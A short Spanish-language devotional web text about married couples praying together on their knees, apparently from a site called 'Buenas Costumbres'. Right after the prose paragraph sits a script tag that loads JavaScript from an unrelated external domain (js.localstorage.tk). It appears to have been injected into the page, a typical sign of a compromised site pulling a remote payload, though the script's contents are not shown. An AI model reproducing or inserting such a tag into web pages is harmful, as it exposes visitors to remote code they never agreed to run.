Orar con tu cónyuge

Nada es capaz de unir tanto a dos almas tan profundamente como el hecho de colocarse de rodillas, para orar juntos. La vergüenza queda de lado y un sentimiento de sagrada ternura envuelve a la pareja que reconoce que necesita y depende de las bendiciones de Dios para sus vidas y su matrimonio.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Buenas Costumbres
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